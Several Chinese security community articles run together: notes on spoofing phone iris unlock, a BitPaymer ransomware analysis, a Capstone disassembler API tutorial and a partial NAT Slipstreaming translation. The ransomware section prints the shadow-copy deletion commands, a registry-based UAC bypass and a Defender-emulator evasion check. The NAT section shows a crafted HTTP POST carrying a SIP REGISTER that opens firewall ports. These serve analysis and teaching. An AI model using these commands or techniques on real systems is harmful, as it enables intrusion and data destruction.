三星在Note7上首发了手机虹膜解锁功能，由于之前的爆炸门事件，这项技术在最新的三星S8上才被大家所熟知。说到其原理，首先需要知道的是人的眼睛结构由巩膜、虹膜、瞳孔晶状体、视网膜等部分组成。虹膜是位于黑色瞳孔和白色巩膜之间的圆环状部分，其包含有很多相互交错的斑点、细丝、冠状、条纹、隐窝等的细节特征，一般用红外光才可以拍清楚完整的虹膜细节。由于虹膜特征点远多于指纹且难以复制，理论上虹膜识别安全性要高于指纹识别。
图十三
三星所采用的是斯坦福研究院旗下的 Princeton Identity 公司提供的虹膜识别模块，其通过正面屏幕上方的 850nm
的LED红外补光灯+红外摄像头，可以在近距离(20-30cm)拍摄到使用者虹膜红外图像并提取特征点与已有图像进行对比判断其身份。而在今年德国一个“CCC”黑客俱乐部会议上，之前用公开照片复制了德国国防部长指纹的黑客小哥告
Starbug 诉了我们虹膜识别是一样能够用相机拍照去破解的。
图十四
这个安全热点之前也被大部分媒体报道过，主要的破解过程大概是这样的：
1. 用一台相机拍摄眼部照片；
2. 用激光打印机打印眼部虹膜细节照片；
3. 贴上隐形眼镜；
4. 拿上照片就能成功通过虹膜识别。
而在实践之后我们发现事实上并没有这么简单，正如三星官方所回应的，目前市面要想找到一部能拍摄到清晰的虹膜细节的相机太难了。在试过了手机，单反，单反+滤镜，红外夜视撮像头后，均没能拍到清晰的虹膜照片。于是我们在万能的淘宝上买了一部
Starbug 所用的同款古董级 SONY DSC-V1
红外夜视相机（2003年产），苦于其500万像素值及本身对焦素质，我们测试了多次仍没拍到一张能通过三星的 S8 虹膜解锁的清晰虹膜照片。
图十五
此外根据类似原理，我们还可以用人造眼，定制隐形眼镜去模拟指定虹膜破解虹膜解锁，不过最难的部分始终还是如何先取到清晰的虹膜图像。
#### 七、总结
上文中说的各种解锁姿势其实只是移动端身份认证方式的一部分，这些解锁姿势同样广范用于支付认证/实名认证等领域，从目前趋势上来看，生物识别技术可能将成为未来主流的身份认证手段。
而从安全性方面考虑，相比传统的密码认证与设备认证方法，生物识别技术其实适合用于身份识别（identification）而不是身份认证（authentication），像指纹，虹膜等识别技术只能代表某个人生物特征，由于生物特征存在不可更改性与一定的可复制性，一旦用户生物特征信息泄露，则其身份就可能其它人被复制利用，手机锁屏密码也当然能轻易绕过。
在此我们给大家的防范建议是：
**1\. 尽量少在社交平台发自拍照，特别是高清无码的；
2\. 最最最重要的：不要轻易将手机借给其它人；
3\. 使用传统的(6位数字或更长)PIN码解锁手机最安全；**
不过大家也不用太担心，以上破解各种解锁姿势的方法在实际生活场景中都有一定的利用难度，厂商们也早已经认识到了此类风险，不断在推出新的带活体检测的生物识别技术方案，相信日后还有更多姿势等待我们去探索，在此也欢迎大家与我们交流。
参考资料：
【1】 http://bbs.pediy.com/thread-216706.htm
【2】 http://securityaffairs.co/wordpress/59381/hacking/samsung-s8-hacking.html
【3】 https://mherfurt.wordpress.com/2015/05/08/tricking-android-smart-lock-with-bluetooth/
【4】 http://d.wanfangdata.com.cn/Periodical/kjsyyj2014z1030
【5】 http://www.huawei.com/cn/psirt/security-advisories/huawei-sa-20170323-01-smartphone-cn
【6】 https://source.android.com/security/bulletin/2017-07-01?hl=zh-cn
* * * | 社区文章 |
# 披露：导致一个自动化设备生产商全球的系统宕机一周的罪魁祸首
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
皮尔兹是全球最大的自动化设备生产商之一，总部位于德国，在全球有24家子公司和众多合作伙伴，其在中国的总部位于上海，并在北京和广州设有子公司，国内业务非常广泛。
从2019年10月13日起，由于受到了BitPaymer勒索病毒的攻击，该公司在全球范围内的所有服务器和PC工作站，包括通信设施，都受到了影响。
为预防起见，该公司切断了所有的网络连接，并阻止外部对公司网络的访问，同时Pilz员工花了三天时间才恢复电子邮件服务的访问，又花了三天才恢复其国际电子邮件服务，直到21日才恢复对产品订单和交货系统的访问。
据悉其生产能力没有收到太大的影响，但是其订单系统无法正常工作，无法提交订单和检查客户状态，在全球76个国家或地区的所有业务都收到了影响，截止到发稿为止，接受订单信息依然是通过电子邮件按照顺序进行人工处理。
鉴于此事件对工业界影响较大，奇安信病毒响应中心在对BitPaymer勒索软件进行分析后，结合以往其背后的团伙攻击事件时间线进行总结，同时对勒索代码进行简单分析。
## 攻击历史
把时间线向后推，这并不是BitPaymer第一次搞出大新闻，自从2017年被发现以来其团伙主要针对大型公司，行业涉及金融，农业、科技和工控等多个行业。主要攻击各个行业的供应链解决方案提供商：
2017年通过RDP爆破的方式攻击苏格兰医院，导致业务系统瘫痪
2018年通过Dridex僵尸网络攻击美国阿拉斯加自治市马塔努斯卡-苏西塔纳。导致政府网络瘫痪，打字机等相关设备无法使用。
到了2019年，根据我们监控，从四月份开始活跃，一直持续至今，投递方式依然依赖于Dridex僵尸网络，且这几起勒索事件发生的事件都在周末。
四月份时攻击美国最大的饮料供应商之一，亚利桑那饮料公司，有数百台服务器收到了感染，同时还感染了Exchange服务器导致电子邮件服务出现了问题，一周之内无法处理客户订单，只能人工处理。
八月份，该团伙还使用Windows版iTunes的Bonjour更新程序中的一处0day漏洞对某汽车企业进行攻击，值得一提的是Bonjour更新器是在系统上进行独立安装的，卸载iTunes和iCloud并不会删除Bonjour更新器。该漏洞通过将包含空格但是未包含引号的文件路径植入父路径，从而诱骗合法的进程来执行BitPaymer勒索软件，进而规避杀软检测，目前苹果已经发布补丁
根据上述相关线索，结合皮尔磁被勒索的时间是13号，正好是周末，我们推测此次皮尔磁勒索事件的投递方式极有可能是通过钓鱼邮件释放Dridex，成功入侵之后并不会立即投放勒索病毒，而是经过一个长时间的侦察阶段并窃取域账号，等到周末再投放BitPaymer勒索软件。
## 勒索代码分析
在此，我们对今年流行的BitPaymer进行分析：
外层loader经过复杂的混淆，经过对多个样本进行分析，我们发现该团伙应该开发了一套自用的混淆框架，内嵌了大量的无用代码和无效函数
加载BitPaymer
内存加载
整体执行流程如下图
一开始就会检测C:\\\aaa_TouchMeNot_.txt文件是否存在
aaa_TouchMeNot_.txt是在Windows Defender
Emulator虚拟机中放置的文件，通过检测该文件是否存在来判断当前运行环境是否在Windows Defender虚拟机中，以此来绕过Windows
Defender的检测。
RC4算法解密出勒索信和要加密的后缀
通过寻找自身名称中是否含有“:”，以此来判断当前是否作为ADS流执行
如果不是则将自身复制到％APPDATA％/随机名称:Bin，创建新进程，该ADS流会执行以下操作
1. 删除原始操作
2. 将自身从ADS拷贝到％APPDATA％目录下，并隐藏、
3. 在临时目录创建一个BAT文件
有趣的是，该样本还会通过HKCR\mscfile\shell\open\command注册表键值来绕过UAC，实现持久化，路上指向上述的BAT文件
如果该操作未成功，则退出不加密文件系统
调用以下命令，删除卷影
vssadmin.exe Delete Shadows / All / Quiet
diskshadow.exe / s％TEMP％\
加密文件，弹出勒索信
# 总结
工业 4.0 带动制造业、流程控制、基础设施和不计其数的其他工业控制系统（ICS）取得了巨大进步，但随之而来的是针对这些系统的威胁也在日益上涨。
系统连接程度越高，风险相对也越大。今年早些时候，思科宣布收购法国ICS网络安全厂商Sentryo，Sentryo是专门为企业工业控制系统提供网络安全解决方案的，其业务涵盖能源、制造、石油、天然气和运输行业。
最近几年，工业安全受到了各个国家的重视，国外各大厂商如赛门铁克，CheckPoint相继发布针对工业控制系统的安全解决方案，在18日开幕的2019工业互联网全球峰会中提出了“感知+互联+智能”的未来工业化的目标和前景，对于安全人员来讲这无疑是巨大的挑战。
奇安信在此次大会上提出了工业互联网安全需要进化到“内生安全”，必须把安全能力构建在业务系统上，从而保证业务系统能生长出安全能力，在这个将要迎接万物互联的时代，奇安信严阵以待，目前奇安信旗下工业主机安全防护系统、工业安全监测系统、工业防火墙等多款工业安全产品，已经成功应用于汽车、烟草、能源、水利、航空等多个行业，并且获得了客户的一致好评。
目前奇安信全系产品已经可针对该勒索进行检测和查杀。 | 社区文章 |
# Capstone反汇编引擎数据类型及API分析及示例(二)
[Capstone反汇编引擎数据类型及API分析及示例(一)](https://xz.aliyun.com/t/5753
"Capstone反汇编引擎数据类型及API分析及示例")
上篇分析了Capstone开放的数据类型，下面就来正式看看API吧
官方开放的API只有二十个左右，但为了能写的更易懂，我将结合实例，分多篇写。
API中作者将capstone缩写为cs，下面我也用这种方式描述
## API分析
### cs_malloc_t
`void* (CAPSTONE_API *cs_malloc_t)(size_t size);`
cs的动态内存分配，用于
struct cs_opt_mem {
cs_malloc_t malloc;
cs_calloc_t calloc;
cs_realloc_t realloc;
cs_free_t free;
cs_vsnprintf_t vsnprintf;
} cs_opt_mem;
cs_malloc_t定义于capstone.lib和capstone.dll的cs.c中，
> 在用户模式下，cs_mem_malloc默认使用系统malloc
>
> Windows driver模式下，`cs_malloc_t cs_mem_malloc = cs_winkernel_malloc;`
> cs_winkernel_malloc定义于\capstone-4.0.1\windows\winkernel_mm.c,
实现代码
void * CAPSTONE_API cs_winkernel_malloc(size_t size)
{
// 长度不能分配为0
NT_ASSERT(size);
// FP; NonPagedPool用于支持 Windows 7
#pragma prefast(suppress : 30030) // 分配可执行的POOL_TYPE内存
size_t number_of_bytes = 0;
CS_WINKERNEL_MEMBLOCK *block = NULL;
// 特定的值能造成溢出
// 如果value中的和超出或低于类型容量，函数将返回NULL。
if (!NT_SUCCESS(RtlSizeTAdd(size, sizeof(CS_WINKERNEL_MEMBLOCK), &number_of_bytes))) {
return NULL;
}
block = (CS_WINKERNEL_MEMBLOCK *)ExAllocatePoolWithTag(
NonPagedPool, number_of_bytes, CS_WINKERNEL_POOL_TAG);
if (!block) {
return NULL;
}
block->size = size;
return block->data;
}
> OSX kernel模式下，`cs_malloc_t cs_mem_malloc = kern_os_malloc;`，这里暂且不探讨。
### cs_calloc_t
`void* (CAPSTONE_API *cs_calloc_t)(size_t nmemb, size_t size);`
cs申请内存并初始化
用于`struct cs_opt_mem`，定义于cs.c
用户模式： `cs_calloc_t cs_mem_calloc = calloc;`,使用系统calloc
Windows driver模式： `cs_calloc_t cs_mem_calloc = cs_winkernel_calloc;`
实现代码
void * CAPSTONE_API cs_winkernel_calloc(size_t n, size_t size)
{
size_t total = n * size;
void *new_ptr = cs_winkernel_malloc(total);
if (!new_ptr) {
return NULL;
}
return RtlFillMemory(new_ptr, total, 0);
}
OSX kernel模式： `cs_calloc_t cs_mem_calloc = cs_kern_os_calloc;`
直接调用kern_os_malloc了
### cs_realloc_t
`void* (CAPSTONE_API *cs_realloc_t)(void *ptr, size_t size);`
cs重新分配内存
用于`struct cs_opt_mem`，定义于cs.c
用户模式： `cs_realloc_t cs_mem_realloc = realloc;`,调用系统realloc
Windows driver模式： `cs_realloc_t cs_mem_realloc = cs_winkernel_realloc;`
实现代码，可以看出是利用cs_winkernel_malloc重新申请
void * CAPSTONE_API cs_winkernel_realloc(void *ptr, size_t size)
{
void *new_ptr = NULL;
size_t current_size = 0;
size_t smaller_size = 0;
if (!ptr) {
return cs_winkernel_malloc(size);
}
new_ptr = cs_winkernel_malloc(size);
if (!new_ptr) {
return NULL;
}
current_size = CONTAINING_RECORD(ptr, CS_WINKERNEL_MEMBLOCK, data)->size;
smaller_size = (current_size < size) ? current_size : size;
RtlCopyMemory(new_ptr, ptr, smaller_size);
cs_winkernel_free(ptr);
return new_ptr;
}
OSX kernel模式： `cs_realloc_t cs_mem_realloc = kern_os_realloc;`
### cs_free_t
`typedef void (CAPSTONE_API *cs_free_t)(void *ptr);`
cs释放内存
用于`struct cs_opt_mem`，定义于cs.c
用户模式： `cs_free_t cs_mem_free = free;`,调用系统free
Windows driver模式： `cs_free_t cs_mem_free = cs_winkernel_free;`
实现代码
void CAPSTONE_API cs_winkernel_free(void *ptr)
{
if (ptr) {
ExFreePoolWithTag(CONTAINING_RECORD(ptr, CS_WINKERNEL_MEMBLOCK, data), CS_WINKERNEL_POOL_TAG);
}
}
OSX kernel模式： `cs_free_t cs_mem_free = kern_os_free;`
### cs_vsnprintf_t
`int (CAPSTONE_API *cs_vsnprintf_t)(char *str, size_t size, const char
*format, va_list ap);`
按size大小输出到字符串str中
用户模式：
值得注意的是，如果系统为wince，将使用_vsnprintf函数
vsnprintf ()和_vsnprintf()对于驱动程序都是可用的，但是它们有一些不同。
在需要返回值和设置空终止符时应使用vsnprintf()
vsnprintf定义在stdio.h
Windows driver模式： `cs_vsnprintf_t cs_vsnprintf = cs_winkernel_vsnprintf;`
代码实现
int CAPSTONE_API cs_winkernel_vsnprintf(char *buffer, size_t count, const char *format, va_list argptr)
{
int result = _vsnprintf(buffer, count, format, argptr);
// _vsnprintf()在字符串被截断时返回-1，在整个字符串被存储但“buffer”末尾没有“\0”时返回“count”。在这两种情况下，都需要手动添加空终止符。
if (result == -1 || (size_t)result == count) {
buffer[count - 1] = '\0';
}
if (result == -1) {
// 在返回-1时，函数必须获取并返回一些本来要写入的字符。因此，通过重试使用temp buffer进行相同的转换，这个缓冲区就可能足够大来完成格式化，并且获得很多本应写入的字符。
char* tmp = cs_winkernel_malloc(0x1000);
if (!tmp) {
return result;
}
result = _vsnprintf(tmp, 0x1000, format, argptr);
NT_ASSERT(result != -1);
cs_winkernel_free(tmp);
}
return result;
}
OSX kernel模式： `cs_vsnprintf_t cs_vsnprintf = vsnprintf;`，使用默认vsnprintf
### cs_skipdata_cb_t
size_t (CAPSTONE_API _cs_skipdata_cb_t)(const uint8_t_ code, size_t code_size,
size_t offset, void *user_data);
SKIPDATA选项的用户自定义回调函数。
code:包含要分解的代码的输入缓冲区。和传递给cs_disasm()的缓冲区相同。
code_size:上面的code缓冲区的大小(以字节为单位)。
offset:上面提到的输入缓冲区code中当前检查字节的位置。
user_data:用户数据通过cs_opt_skipdata结构中的@user_data字段传递给cs_option()。
return:返回要跳过的字节数，或者0表示立即停止反汇编。
cs_skipdata_cb_t在`struct cs_opt_skipdata`中调用，下面来看一个例子
分析写在注释中
#include <stdio.h>
#include <stdlib.h>
#include "platform.h"
#include "capstone.h"
struct platform {
cs_arch arch;
cs_mode mode;
unsigned char* code;
size_t size;
const char* comment;
cs_opt_type opt_type;
cs_opt_value opt_value;
cs_opt_type opt_skipdata;
size_t skipdata;
};
static void print_string_hex(unsigned char* str, size_t len) //输出机器码
{
unsigned char* c;
printf("Code: ");
for (c = str; c < str + len; c++) {
printf("0x%02x ", *c & 0xff);
}
printf("\n");
}
static void test()
{
#define X86_CODE32 "\x8d\x4c\x32\x08\x01\xd8\x81\xc6\x34\x12\x00\x00\x00\x91\x92" //测试用机器码
#define RANDOM_CODE "\xed\x00\x00\x00\x00\x1a\x5a\x0f\x1f\xff\xc2\x09\x80\x00\x00\x00\x07\xf7\xeb\x2a\xff\xff\x7f\x57\xe3\x01\xff\xff\x7f\x57\xeb\x00\xf0\x00\x00\x24\xb2\x4f\x00\x78"
cs_opt_skipdata skipdata = {
// 把默认 "data" 描述符从 ".byte" 重命名为 "db"
"db",
};
struct platform platforms[2] = { //以默认描述符和自定义描述符两种方式建立一个数组
{
CS_ARCH_X86,
CS_MODE_32,
(unsigned char*)X86_CODE32,
sizeof(X86_CODE32) - 1,
"X86 32 (Intel syntax) - Skip data",
},
{
CS_ARCH_X86,
CS_MODE_32,
(unsigned char*)X86_CODE32,
sizeof(X86_CODE32) - 1,
"X86 32 (Intel syntax) - Skip data with custom mnemonic",
CS_OPT_INVALID,
CS_OPT_OFF,
CS_OPT_SKIPDATA_SETUP,
(size_t)& skipdata,
},
};
csh handle; //建立capstone句柄
uint64_t address = 0x1000; //设置起始地址
cs_insn* insn; //具体信息结构体
cs_err err; //错误枚举
int i;
size_t count; //成功反汇编行数
for (i = 0; i < sizeof(platforms) / sizeof(platforms[0]); i++) {
printf("****************\n");
printf("Platform: %s\n", platforms[i].comment);
err = cs_open(platforms[i].arch, platforms[i].mode, &handle); //错误检查
if (err) {
printf("Failed on cs_open() with error returned: %u\n", err);
abort();
}
if (platforms[i].opt_type)
cs_option(handle, platforms[i].opt_type, platforms[i].opt_value);
// 打开SKIPDATA 模式
cs_option(handle, CS_OPT_SKIPDATA, CS_OPT_ON);
cs_option(handle, platforms[i].opt_skipdata, platforms[i].skipdata);
count = cs_disasm(handle, platforms[i].code, platforms[i].size, address, 0, &insn);
if (count) {
size_t j;
print_string_hex(platforms[i].code, platforms[i].size);
printf("Disasm:\n");
for (j = 0; j < count; j++) { //输出汇编
printf("0x%" PRIx64 ":\t%s\t\t%s\n",
insn[j].address, insn[j].mnemonic, insn[j].op_str);
}
// 最后一行代码后打印偏移
printf("0x%" PRIx64 ":\n", insn[j - 1].address + insn[j - 1].size);
// 释放cs_disasm()申请的内存
cs_free(insn, count);
}
else {
printf("****************\n");
printf("Platform: %s\n", platforms[i].comment);
print_string_hex(platforms[i].code, platforms[i].size);
printf("ERROR: Failed to disasm given code!\n");
abort();
}
printf("\n");
cs_close(&handle);
}
}
int main()
{
test();
return 0;
}
运行结果如下，可以看出，默认的 .byte数据类型被改为db描述符
### cs_version
`unsigned int CAPSTONE_API cs_version(int *major, int *minor);`
用来输出capstone版本号
参数
major: API主版本
minor: API次版本
return: 返回主次版本的16进制，如4.0版本返回 0x0400
通过分析源码发现
该版本定义于cs.c中，编译后不可更改，不接受自定义版本
示例1：
#include <stdio.h>
#include <stdlib.h>
#include "platform.h"
#include "capstone.h"
static int test()
{
return cs_version(NULL, NULL);
}
int main()
{
int version = test();
printf("%X", version);
return 0;
}
输出
示例2，强行修改版本：
#include <stdio.h>
#include <stdlib.h>
#include "platform.h"
#include "capstone.h"
static int test()
{
int ma[] = { 5 };
int mi[] = { 6 };
return cs_version(ma, mi);
}
int main()
{
int version = test();
printf("%X", version);
return 0;
}
输出：
可以看到并不能改变
### cs_support
bool CAPSTONE_API cs_support(int query);
用来检查capstone库是否支持参数输入的架构或处于某编译选项
通过查看源码得知，共有四种查询参数
bool CAPSTONE_API cs_support(int query)
{
if (query == CS_ARCH_ALL)
return all_arch == ((1 << CS_ARCH_ARM) | (1 << CS_ARCH_ARM64) |
(1 << CS_ARCH_MIPS) | (1 << CS_ARCH_X86) |
(1 << CS_ARCH_PPC) | (1 << CS_ARCH_SPARC) |
(1 << CS_ARCH_SYSZ) | (1 << CS_ARCH_XCORE) |
(1 << CS_ARCH_M68K) | (1 << CS_ARCH_TMS320C64X) |
(1 << CS_ARCH_M680X) | (1 << CS_ARCH_EVM));
if ((unsigned int)query < CS_ARCH_MAX)
return all_arch & (1 << query);
if (query == CS_SUPPORT_DIET) {
#ifdef CAPSTONE_DIET
return true;
#else
return false;
#endif
}
if (query == CS_SUPPORT_X86_REDUCE) {
#if defined(CAPSTONE_HAS_X86) && defined(CAPSTONE_X86_REDUCE)
return true;
#else
return false;
#endif
}
// unsupported query
return false;
}
示例1(CS_ARCH_ALL，检查是否支持所有架构)：
示例2(CS _ARCH_ *，检查是否支持指定架构)
示例3(检查是否处于DIET编译模式)：
示例4(检查是否处于X86_REDUCE编译模式)：
下篇将介绍更多有用的API，望支持 | 社区文章 |
# NAT Slipstreaming悄无声息的穿透你的内网
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2021年10月份，[SamyKamkar](https://samy.pl)公开了NAT
Slipstreaming攻击利用手法，属于对协议漏洞的组合巧妙利用，仅仅只需要victim访问网站，便可以实现attacker访问在victim的NAT服务之后的系统的任意TCP/UDP端口。作者提供了详实的文档记录以及攻击发现思路分享，并且提供了poc源码以供复现使用，多重组合利用不禁感慨作者扎实的功底与硬核的能力。github地址<https://github.com/samyk/slipstream>
## 概述
NAT
Slipstreaming结合对内置在NATs、防火墙、路由器中的ALG的利用，来达成对用户浏览器的利用，对ALG的利用具体有通过WebRTC或时间攻击来提取内部IP，自动远程MTU和IP分段的发现，TCP保温篡改，TURN认证的滥用，精确的包边界控制，通过浏览器滥用的协议混淆。并且这个利用是通过NAT或者防火墙来打开目标端口，因为他绕过了浏览器的端口限制。
这个攻击需要对TCP/UDP报文精确控制，并且报文内不包含HTTP或者其他报文。这个攻击进行的新的报文注入技术可以在主流的浏览器中奏效，并且是<a
target=_blank href=”https://samy.pl/natpin/”>NAT Pinning technique from
2010</a>的现代版本。
这个 **攻击要求NAT/防火墙支持ALG** ，ALG对于使用多端口协议是必需的（控制信道+数据信道），比如SIP、H232、FTP、IRC、DCC。
上图表示的是网络拓扑，内网—>NAT/防火墙—->网站服务器。内网中的victim如果在浏览器中访问攻击者的网站或者访问网站中含有恶意链接，那么攻击者便可以与受害者的任意端口链接。
上图是最终达成利用的报文结构，报文长度太长时报文会进行分段，达成利用时报文头部必须是特定的字节才能符合要求，因此通过
**对报文进行填充，进而可以控制第二三个报文的内容** ，构造符合利用条件的报文。
## Application Level Gateway(ALG)
ALGs允许NAT追踪多端口协议，比如FTP协议，从你的系统中发出到FTP服务器，并且当你请求文件发送到你的内部IP时可以进行追踪，ALG可以重写报文使其包括你的公网IP，并且将FTP服务器的连接传回内网。
From [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):
In the context of computer networking, an application-level
gateway consists of a security component that augments a
firewall or NAT employed in a computer network. It allows
customized NAT traversal filters to be plugged into the
gateway to support address and port translation for certain
application layer "control/data" protocols such as FTP,
BitTorrent, SIP, RTSP, file transfer in IM applications, etc.
In order for these protocols to work through NAT or a
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the
NAT has to monitor the control traffic and open up port
mappings (firewall pinhole) dynamically as required.
Legitimate application data can thus be passed through the
security checks of the firewall or NAT that would have
otherwise restricted the traffic for not meeting its limited
filter criteria.
## 挖掘协议缺陷过程
挖掘过程中体现了作者的不仅对网络协议，而是整个网络方面的知识，同时又具有逆向固件的能力。这里仅作简单梳理，帮助整体学习挖掘过程，具体细节移步官网链接。
1. **固件下载。** 首先下载了固件[recent firmware](http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip)，然后利用binwalk解压，binwalk -Me xxx，得到具体的程序文件。
2. **函数定位。** 然后紧接着作者利用工具搜索二进制文件内的字符串ftp，找到可疑文件/lib/modules/tdts.ko，然后在此文件内匹配ftp字符串，发现了ftp_decode_port_cmd，其中的port很有可能是关联到ALG的。并且它的参数是32bit地址和16位port，分别以8b进行存储。
3. **端口限制绕过。** 现在浏览器中对端口的屏蔽很严格，许多端口都被屏蔽，但是现在浏览器大多数采用uint32来存储端口，但是协议中是16bit存储的端口号，因此可以利用正数溢出绕过判断。比如想要利用6667端口，但是6667端口被浏览器限制，我们可以传递6667+65536=72203，浏览器判断时发现没有对72203进行限制，但是传递到协议中由于16位溢出实际处理的时6667端口。
4. **程序逆向。** 接下来开始逆向tdts.ko，起初是通过ftp_decode定位到这个内核文件，那么在函数中所有decode关键字，找到sip_decode函数。
**尝试在HTTP POST中加入SIP报文。** 选择sip的理由是绝大多数ALG都支持sip协议，根据作者之前在2010年黑帽大会上分享的关于IRC
DCC的利用经验来看，当NAT逐行读取SIP协议，会直接忽略HTTP报文头部，并且当读取到REGISTER时会认为这是一个合法的SIP报文。报文内容如下，但是经过测试，发现这并没有奏效，某些地方出现了问题，继续开始逆向固件。
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"
REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>
------WebKitFormBoundaryhcoAd2iSAx3TJA7A--
**深入逆向固件。**
继续深入逆向的过程中，根据“SIP/2.0”定位到SIP协议大致处理的地方，然后分析过程中，发现了对于INVITE字段的处理，发现对于INVITE字段有一个判断处理，如果INVITE字段位于报文开始，那么正常解析，否则不可以。
同时INVITE与REGISTER是同类型字段，REGISTER字段同样应该也满足类似条件。现在明白了sip报文不被解析的原因是REGISTER必须在报文开始位置，但是如何达到这个条件呢？虽然我们可以利用浏览器生成报文(TCP
via HTTP(S), UDP via TURN
w/WebRTC)，但是我们无法精确的控制报文的各个结构。如果使用TLS，加密的header位于起始位置，使用HTTP的话，起始是GET、POST等。
**分析linux网络协议栈源码。** 直接粘贴作者给的解释，最重要的部分已经加粗。
We’ll take a quick look at the [SIP connection tracking
module](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c)
* [`module_init(nf_conntrack_sip_init)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1698) initialize this connection tracker, calling [`nf_conntrack_sip_init`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1662)
* [`nf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1676) we expect signaling to come in from IPv4 `AF_INET` TCP `IPPROTO_TCP` port 5060 `SIP_PORT`…this occurs for UDP, TCP, IPv4 & IPv6
* [`sip_help_tcp(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1524) called when matching TCP SIP packet comes in
* [`process_sip_msg(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1500) if this looks like a potential SIP packet
* [`process_sip_request(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1444) is this is a request
* [`strncasecmp(*dptr, handler->method, ...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1476-L1478) **the handler will bail unless the method (eg, REGISTER) occurs at the _start_ of the data portion of the packet (TCP or UDP)** like we saw with INVITE up above…[REGISTER](https://tools.ietf.org/html/rfc2543#section-4.2.6) is just another SIP command
* this is a challenge as if we’re only using a web browser, we can’t produce a raw TCP connection and start any packet with our own data, as it will be filled with HTTP/TLS headers…or can we?
* [`process_register_request(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1216)[`nf_ct_expect_init(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1289) via [`sip_handlers`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1391) we initialize the firewall pinhole (port to allow remote person to connect back in), but we don’t open it just yet
* [`nf_nat_sip_hooks`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1295) -> [`nf_nat_sip(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_nat_sip.c#L144) the NAT also mangles (rewrites) the internal IP address of the client to the NAT’s public IP so the destination can properly reach it
* [`sip_help_tcp(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1524) -> [`process_sip_msg(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1500) ->
* [`process_sip_response(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1400) now we’re looking at SIP response from the SIP server
* [`process_register_response(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1314) -> [`refresh_signalling_expectation(...)`](https://github.com/samyk/linux/blob/29b0b5d56589d66bd5793f1e09211ce7d7d3cd36/net/netfilter/nf_conntrack_sip.c#L1381) the port is forwarded by the NAT only once a valid SIP response is sent by the SIP server
**使REGISTER出现在报文头部。**
报文有最大长度范围，如果我们可以发送长报文长度，并且控制其余部分报文内容，那么我们是不是可以使得REGISTER出现在报文头部呢？需要解决几个问题，浏览器将要发送多长的报文，每个浏览器是否不同，每个用户之间是否不同。并且HTTPS由于会加密报文不可控制。
我们在浏览器端发送6000byte大小的HTTP POST到攻击者服务器，带有ID和padding
data。并且在攻击者服务端，进行流量嗅探，确定报文的MTU size，IP header size, potential IP options, TCP
header size, potential TCP options, data packet size,
和我们实际可控的报文部分。同时我们在攻击者服务端运行服务监听5060端口，同时对浏览器的发送的报文进行正常的回复。如果SIP仅允许UDP报文的话，那么可以利用TURN协议。
**IP地址发现。** 如果防火墙/NAT可以正常解析的SIP的话，那么会按照SIP报文中的端口来打开victim的端口，
从而使得攻击者服务器可以和victim链接，但是目前构造保温情况仍未奏效。因为为了是ALG能够将SIP报文认定为是合法报文解析来看来看，请求数据回到的IP地址必须是内网IP地址，但是目前我们还不知道内网IP地址是什么。
